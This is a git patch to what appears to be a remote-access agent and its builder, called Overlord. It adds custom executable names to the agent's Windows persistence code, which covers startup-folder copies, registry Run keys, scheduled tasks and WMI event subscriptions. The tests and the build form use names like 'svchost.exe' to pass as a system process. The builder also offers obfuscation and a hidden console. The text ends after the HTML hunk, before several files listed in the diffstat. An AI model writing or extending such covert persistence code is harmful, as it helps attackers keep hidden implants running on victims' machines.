From 5ac5e4e536dc8e25a62cd6a89b721b740b8cd8ac Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sat, 21 Mar 2026 03:06:35 -0500 Subject: [PATCH] add custom file names to building and fix purgatory issue --- .../cmd/agent/persistence/persistence.go | 2 + .../agent/persistence/persistence_windows.go | 45 +++- .../persistence_windows_registry_test.go | 81 +++++++ .../persistence_windows_taskscheduler.go | 3 +- .../persistence/persistence_windows_test.go | 197 +++++++++++------- .../persistence/persistence_windows_wmi.go | 7 +- Overlord-Server/public/assets/build.js | 4 + Overlord-Server/public/build.html | 10 + Overlord-Server/src/build/types.ts | 1 + Overlord-Server/src/server/build-process.ts | 6 + .../src/server/routes/build-routes.ts | 6 + .../src/server/routes/enrollment-routes.ts | 2 +- build-clients.bat | 5 + 13 files changed, 276 insertions(+), 93 deletions(-) create mode 100644 Overlord-Client/cmd/agent/persistence/persistence_windows_registry_test.go diff --git a/Overlord-Client/cmd/agent/persistence/persistence.go b/Overlord-Client/cmd/agent/persistence/persistence.go index 8c1f719..4ffd42a 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence.go +++ b/Overlord-Client/cmd/agent/persistence/persistence.go @@ -7,6 +7,8 @@ import ( var DefaultPersistenceMethod = "startup" +var DefaultStartupName = "" + var persistInstallFn func(targetPath string) error = func(_ string) error { return nil } var persistUninstallFns []func() error diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go index 83ce808..9befdcf 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go @@ -25,8 +25,7 @@ const ( appDataBinaryDir = `Microsoft\DeviceSync` - startupExecutablePrefix = "ovd_" - taskNamePrefix = "ovd_" + defaultExecutablePrefix = "ovd_" legacyRegistryValueName = "OverlordAgent" registryValuePrefix = "OverlordAgent-" @@ -34,6 +33,17 @@ const ( createNoWindow = 0x08000000 ) +func hasCustomName() bool { + return DefaultStartupName != "" +} + +func executablePrefix() string { + if hasCustomName() { + return DefaultStartupName + } + return defaultExecutablePrefix +} + func activeMethod() string { m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod)) switch m { @@ -103,7 +113,11 @@ func findExistingBinaryInDir(dir string) (string, bool) { continue } name := strings.ToLower(entry.Name()) - if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, startupExecutablePrefix) { + if hasCustomName() { + if name == strings.ToLower(DefaultStartupName+".exe") { + return filepath.Join(dir, entry.Name()), true + } + } else if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, defaultExecutablePrefix) { return filepath.Join(dir, entry.Name()), true } } @@ -115,11 +129,14 @@ func findExistingStartupExecutable(startupDir string) (string, bool) { } func generateBinaryName() (string, error) { + if hasCustomName() { + return DefaultStartupName + ".exe", nil + } b := make([]byte, 6) if _, err := rand.Read(b); err != nil { return "", fmt.Errorf("failed to generate executable name: %w", err) } - return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil + return defaultExecutablePrefix + hex.EncodeToString(b) + ".exe", nil } func generateStartupExecutableName() (string, error) { @@ -127,14 +144,22 @@ func generateStartupExecutableName() (string, error) { } func deriveTaskName(targetPath string) string { + prefix := defaultExecutablePrefix + if hasCustomName() { + prefix = DefaultStartupName + "_" + } h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath)))) - return taskNamePrefix + hex.EncodeToString(h[:4]) + return prefix + hex.EncodeToString(h[:4]) } func deriveWMINames(targetPath string) (filterName, consumerName string) { + prefix := defaultExecutablePrefix + if hasCustomName() { + prefix = DefaultStartupName + "_" + } h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath)))) suffix := hex.EncodeToString(h[:4]) - return taskNamePrefix + "f" + suffix, taskNamePrefix + "c" + suffix + return prefix + "f" + suffix, prefix + "c" + suffix } func runPowerShell(script string) error { @@ -273,7 +298,13 @@ func cleanupPrefixedExecutables(dir string) error { continue } name := strings.ToLower(entry.Name()) - if strings.HasPrefix(name, startupExecutablePrefix) { + var match bool + if hasCustomName() { + match = name == strings.ToLower(DefaultStartupName+".exe") + } else { + match = strings.HasPrefix(name, defaultExecutablePrefix) + } + if match { if err := os.Remove(filepath.Join(dir, entry.Name())); err != nil && !os.IsNotExist(err) { return fmt.Errorf("failed to remove startup artifact %s: %w", filepath.Join(dir, entry.Name()), err) } diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_registry_test.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_registry_test.go new file mode 100644 index 0000000..80fc431 --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_registry_test.go @@ -0,0 +1,81 @@ +//go:build windows && persist_registry +// +build windows,persist_registry + +package persistence + +import ( + "strings" + "testing" + + "golang.org/x/sys/windows/registry" +) + +func TestInstallRegistry_WritesQuotedValue(t *testing.T) { + dummy := `C:\Testing\ovd_testvalue.exe` + if err := installRegistry(dummy); err != nil { + t.Fatalf("installRegistry: %v", err) + } + + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, + registry.QUERY_VALUE|registry.SET_VALUE) + if err != nil { + t.Fatalf("open registry key: %v", err) + } + defer k.Close() + + names, _ := k.ReadValueNames(0) + var found string + for _, name := range names { + if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) { + val, _, _ := k.GetStringValue(name) + if strings.Contains(val, "ovd_testvalue.exe") { + found = name + break + } + } + } + if found == "" { + t.Fatal("installRegistry did not write expected Run key value") + } + val, _, _ := k.GetStringValue(found) + if !strings.HasPrefix(val, `"`) || !strings.HasSuffix(val, `"`) { + t.Fatalf("expected quoted value like \"...\", got %q", val) + } + _ = k.DeleteValue(found) +} + +func TestInstallRegistry_UpdatesExistingValue(t *testing.T) { + first := `C:\Testing\ovd_first.exe` + second := `C:\Testing\ovd_second.exe` + + if err := installRegistry(first); err != nil { + t.Fatalf("installRegistry(first): %v", err) + } + if err := installRegistry(second); err != nil { + t.Fatalf("installRegistry(second): %v", err) + } + + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, + registry.QUERY_VALUE|registry.SET_VALUE) + if err != nil { + t.Fatalf("open registry key: %v", err) + } + defer k.Close() + + names, _ := k.ReadValueNames(0) + var matches []string + for _, name := range names { + if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) { + val, _, _ := k.GetStringValue(name) + if strings.Contains(val, "ovd_first.exe") || strings.Contains(val, "ovd_second.exe") { + matches = append(matches, name) + } + } + } + for _, name := range matches { + _ = k.DeleteValue(name) + } + if len(matches) != 1 { + t.Fatalf("expected exactly 1 Run value for the two installs, got %d", len(matches)) + } +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go index e9391ca..3bcc173 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go @@ -26,8 +26,9 @@ func installTaskScheduler(targetPath string) error { } func uninstallTaskScheduler() error { + prefix := executablePrefix() return runPowerShell( `Get-ScheduledTask -ErrorAction SilentlyContinue | ` + - `Where-Object { $_.TaskName -like 'ovd_*' } | ` + + `Where-Object { $_.TaskName -like '` + prefix + `*' } | ` + `Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`) } diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go index 7495773..63097b9 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go @@ -26,7 +26,7 @@ func TestGetTargetPath_UsesStartupFolderAndRandomizedOvdName(t *testing.T) { t.Fatalf("expected dir %q, got %q", wantDir, filepath.Dir(got)) } base := strings.ToLower(filepath.Base(got)) - if !strings.HasPrefix(base, startupExecutablePrefix) || !strings.HasSuffix(base, ".exe") { + if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") { t.Fatalf("expected randomized ovd_*.exe name, got %q", filepath.Base(got)) } } @@ -124,7 +124,7 @@ func TestGetTargetPath_NonStartupMethodsUseAppDataBinaryDir(t *testing.T) { t.Fatalf("method=%q: expected dir %q, got %q", method, wantDir, filepath.Dir(got)) } base := strings.ToLower(filepath.Base(got)) - if !strings.HasPrefix(base, startupExecutablePrefix) || !strings.HasSuffix(base, ".exe") { + if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") { t.Fatalf("method=%q: expected ovd_*.exe name, got %q", method, filepath.Base(got)) } }) @@ -171,8 +171,8 @@ func TestDeriveTaskName_DeterministicAndPrefixed(t *testing.T) { if got1 != got2 { t.Fatalf("deriveTaskName is not deterministic: %q vs %q", got1, got2) } - if !strings.HasPrefix(got1, taskNamePrefix) { - t.Fatalf("task name %q does not have prefix %q", got1, taskNamePrefix) + if !strings.HasPrefix(got1, executablePrefix()) { + t.Fatalf("task name %q does not have prefix %q", got1, executablePrefix()) } } @@ -199,11 +199,11 @@ func TestDeriveWMINames_DeterministicPrefixedAndDistinct(t *testing.T) { if f1 != f2 || c1 != c2 { t.Fatalf("deriveWMINames not deterministic: filter %q!=%q or consumer %q!=%q", f1, f2, c1, c2) } - if !strings.HasPrefix(f1, taskNamePrefix) { - t.Fatalf("filter name %q missing prefix %q", f1, taskNamePrefix) + if !strings.HasPrefix(f1, executablePrefix()) { + t.Fatalf("filter name %q missing prefix %q", f1, executablePrefix()) } - if !strings.HasPrefix(c1, taskNamePrefix) { - t.Fatalf("consumer name %q missing prefix %q", c1, taskNamePrefix) + if !strings.HasPrefix(c1, executablePrefix()) { + t.Fatalf("consumer name %q missing prefix %q", c1, executablePrefix()) } if f1 == c1 { t.Fatalf("filter and consumer names must differ, both are %q", f1) @@ -226,8 +226,8 @@ func TestGenerateBinaryName_FormatAndUniqueness(t *testing.T) { t.Fatalf("generateBinaryName() error: %v", err) } lower := strings.ToLower(name) - if !strings.HasPrefix(lower, startupExecutablePrefix) { - t.Fatalf("name %q missing prefix %q", name, startupExecutablePrefix) + if !strings.HasPrefix(lower, executablePrefix()) { + t.Fatalf("name %q missing prefix %q", name, executablePrefix()) } if !strings.HasSuffix(lower, ".exe") { t.Fatalf("name %q missing .exe suffix", name) @@ -311,7 +311,7 @@ func TestCleanupPrefixedExecutables_RemovesOvdFiles(t *testing.T) { entries, _ := os.ReadDir(dir) for _, e := range entries { - if strings.HasPrefix(strings.ToLower(e.Name()), startupExecutablePrefix) { + if strings.HasPrefix(strings.ToLower(e.Name()), executablePrefix()) { t.Fatalf("ovd_* file %q was not removed", e.Name()) } } @@ -326,76 +326,6 @@ func TestCleanupPrefixedExecutables_NonexistentDirReturnsNil(t *testing.T) { } } -func TestInstallRegistry_WritesQuotedValue(t *testing.T) { - dummy := `C:\Testing\ovd_testvalue.exe` - if err := installRegistry(dummy); err != nil { - t.Fatalf("installRegistry: %v", err) - } - - k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, - registry.QUERY_VALUE|registry.SET_VALUE) - if err != nil { - t.Fatalf("open registry key: %v", err) - } - defer k.Close() - - names, _ := k.ReadValueNames(0) - var found string - for _, name := range names { - if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) { - val, _, _ := k.GetStringValue(name) - if strings.Contains(val, "ovd_testvalue.exe") { - found = name - break - } - } - } - if found == "" { - t.Fatal("installRegistry did not write expected Run key value") - } - val, _, _ := k.GetStringValue(found) - if !strings.HasPrefix(val, `"`) || !strings.HasSuffix(val, `"`) { - t.Fatalf("expected quoted value like \"...\", got %q", val) - } - _ = k.DeleteValue(found) -} - -func TestInstallRegistry_UpdatesExistingValue(t *testing.T) { - first := `C:\Testing\ovd_first.exe` - second := `C:\Testing\ovd_second.exe` - - if err := installRegistry(first); err != nil { - t.Fatalf("installRegistry(first): %v", err) - } - if err := installRegistry(second); err != nil { - t.Fatalf("installRegistry(second): %v", err) - } - - k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, - registry.QUERY_VALUE|registry.SET_VALUE) - if err != nil { - t.Fatalf("open registry key: %v", err) - } - defer k.Close() - - names, _ := k.ReadValueNames(0) - var matches []string - for _, name := range names { - if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) { - val, _, _ := k.GetStringValue(name) - if strings.Contains(val, "ovd_first.exe") || strings.Contains(val, "ovd_second.exe") { - matches = append(matches, name) - } - } - } - for _, name := range matches { - _ = k.DeleteValue(name) - } - if len(matches) != 1 { - t.Fatalf("expected exactly 1 Run value for the two installs, got %d", len(matches)) - } -} - func TestCleanupOverlordRunValues_RemovesMatchingValues(t *testing.T) { k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey, registry.QUERY_VALUE|registry.SET_VALUE) @@ -434,3 +364,108 @@ func TestCleanupOverlordRunValues_RemovesMatchingValues(t *testing.T) { t.Fatalf("expected %q to remain, got error: %v", keepName, err) } } + +func TestGenerateBinaryName_CustomName_NoRandomSuffix(t *testing.T) { + orig := DefaultStartupName + t.Cleanup(func() { DefaultStartupName = orig }) + DefaultStartupName = "svchost" + + name, err := generateBinaryName() + if err != nil { + t.Fatalf("generateBinaryName() error: %v", err) + } + if name != "svchost.exe" { + t.Fatalf("expected %q, got %q", "svchost.exe", name) + } +} + +func TestGenerateBinaryName_DefaultName_HasRandomSuffix(t *testing.T) { + orig := DefaultStartupName + t.Cleanup(func() { DefaultStartupName = orig }) + DefaultStartupName = "" + + name, err := generateBinaryName() + if err != nil { + t.Fatalf("generateBinaryName() error: %v", err) + } + if !strings.HasPrefix(name, "ovd_") || !strings.HasSuffix(name, ".exe") || name == "ovd_.exe" { + t.Fatalf("expected ovd_.exe, got %q", name) + } +} + +func TestFindExistingBinaryInDir_CustomName(t *testing.T) { + orig := DefaultStartupName + t.Cleanup(func() { DefaultStartupName = orig }) + DefaultStartupName = "myapp" + + dir := t.TempDir() + expected := filepath.Join(dir, "myapp.exe") + if err := os.WriteFile(expected, []byte("x"), 0644); err != nil { + t.Fatalf("write: %v", err) + } + // Also write an ovd_ file that should NOT be matched + if err := os.WriteFile(filepath.Join(dir, "ovd_aabbcc.exe"), []byte("x"), 0644); err != nil { + t.Fatalf("write: %v", err) + } + + got, ok := findExistingBinaryInDir(dir) + if !ok { + t.Fatal("expected true, got false") + } + if !strings.EqualFold(filepath.Clean(got), filepath.Clean(expected)) { + t.Fatalf("expected %q, got %q", expected, got) + } +} + +func TestCleanupPrefixedExecutables_CustomName(t *testing.T) { + orig := DefaultStartupName + t.Cleanup(func() { DefaultStartupName = orig }) + DefaultStartupName = "myapp" + + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "myapp.exe"), []byte("x"), 0644); err != nil { + t.Fatalf("write: %v", err) + } + // These should NOT be removed with the custom name set + keepers := []string{"ovd_aabbcc.exe", "other.exe"} + for _, name := range keepers { + if err := os.WriteFile(filepath.Join(dir, name), []byte("x"), 0644); err != nil { + t.Fatalf("write %q: %v", name, err) + } + } + + if err := cleanupPrefixedExecutables(dir); err != nil { + t.Fatalf("cleanupPrefixedExecutables: %v", err) + } + + entries, _ := os.ReadDir(dir) + for _, e := range entries { + if strings.EqualFold(e.Name(), "myapp.exe") { + t.Fatalf("custom-named file %q was not removed", e.Name()) + } + } + if got := len(entries); got != len(keepers) { + t.Fatalf("expected %d files remaining, got %d", len(keepers), got) + } +} + +func TestGetTargetPath_CustomName(t *testing.T) { + origMethod := DefaultPersistenceMethod + origName := DefaultStartupName + t.Cleanup(func() { + DefaultPersistenceMethod = origMethod + DefaultStartupName = origName + }) + DefaultStartupName = "updater" + + appData := t.TempDir() + t.Setenv("APPDATA", appData) + + got, err := getTargetPath() + if err != nil { + t.Fatalf("getTargetPath failed: %v", err) + } + if filepath.Base(got) != "updater.exe" { + t.Fatalf("expected updater.exe, got %q", filepath.Base(got)) + } +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go index d0066f5..1313451 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go @@ -33,14 +33,15 @@ func installWMI(targetPath string) error { } func uninstallWMI() error { + prefix := executablePrefix() return runPowerShell( `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` + - `-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` + + `-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*` + prefix + `*" } | ` + `Remove-WmiObject -ErrorAction SilentlyContinue; ` + `Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` + - `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` + + `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "` + prefix + `*" } | ` + `Remove-WmiObject -ErrorAction SilentlyContinue; ` + `Get-WmiObject -Namespace root\subscription -Class __EventFilter ` + - `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` + + `-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "` + prefix + `*" } | ` + `Remove-WmiObject -ErrorAction SilentlyContinue`) } diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 2c226c3..ebe82f5 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -462,6 +462,9 @@ form?.addEventListener("submit", async (e) => { const persistenceMethod = hasWindowsTarget ? form.querySelector("#persistence-method")?.value || "startup" : undefined; + const startupNameVal = hasWindowsTarget + ? (form.querySelector("#startup-name")?.value.trim() || "") + : ""; const hideConsole = form.querySelector( 'input[name="hide-console"]', ).checked; @@ -494,6 +497,7 @@ form?.addEventListener("submit", async (e) => { obfuscate, enablePersistence, persistenceMethod: enablePersistence && hasWindowsTarget ? persistenceMethod : undefined, + startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined, hideConsole, noPrinting, outputName: outputNameVal || undefined, diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 6781bc3..9e49d37 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -325,6 +325,16 @@ +
+
+ Startup File Name +
+ +

Custom name for the startup executable (e.g. svchost → svchost.exe). Leave blank for default randomized name.

+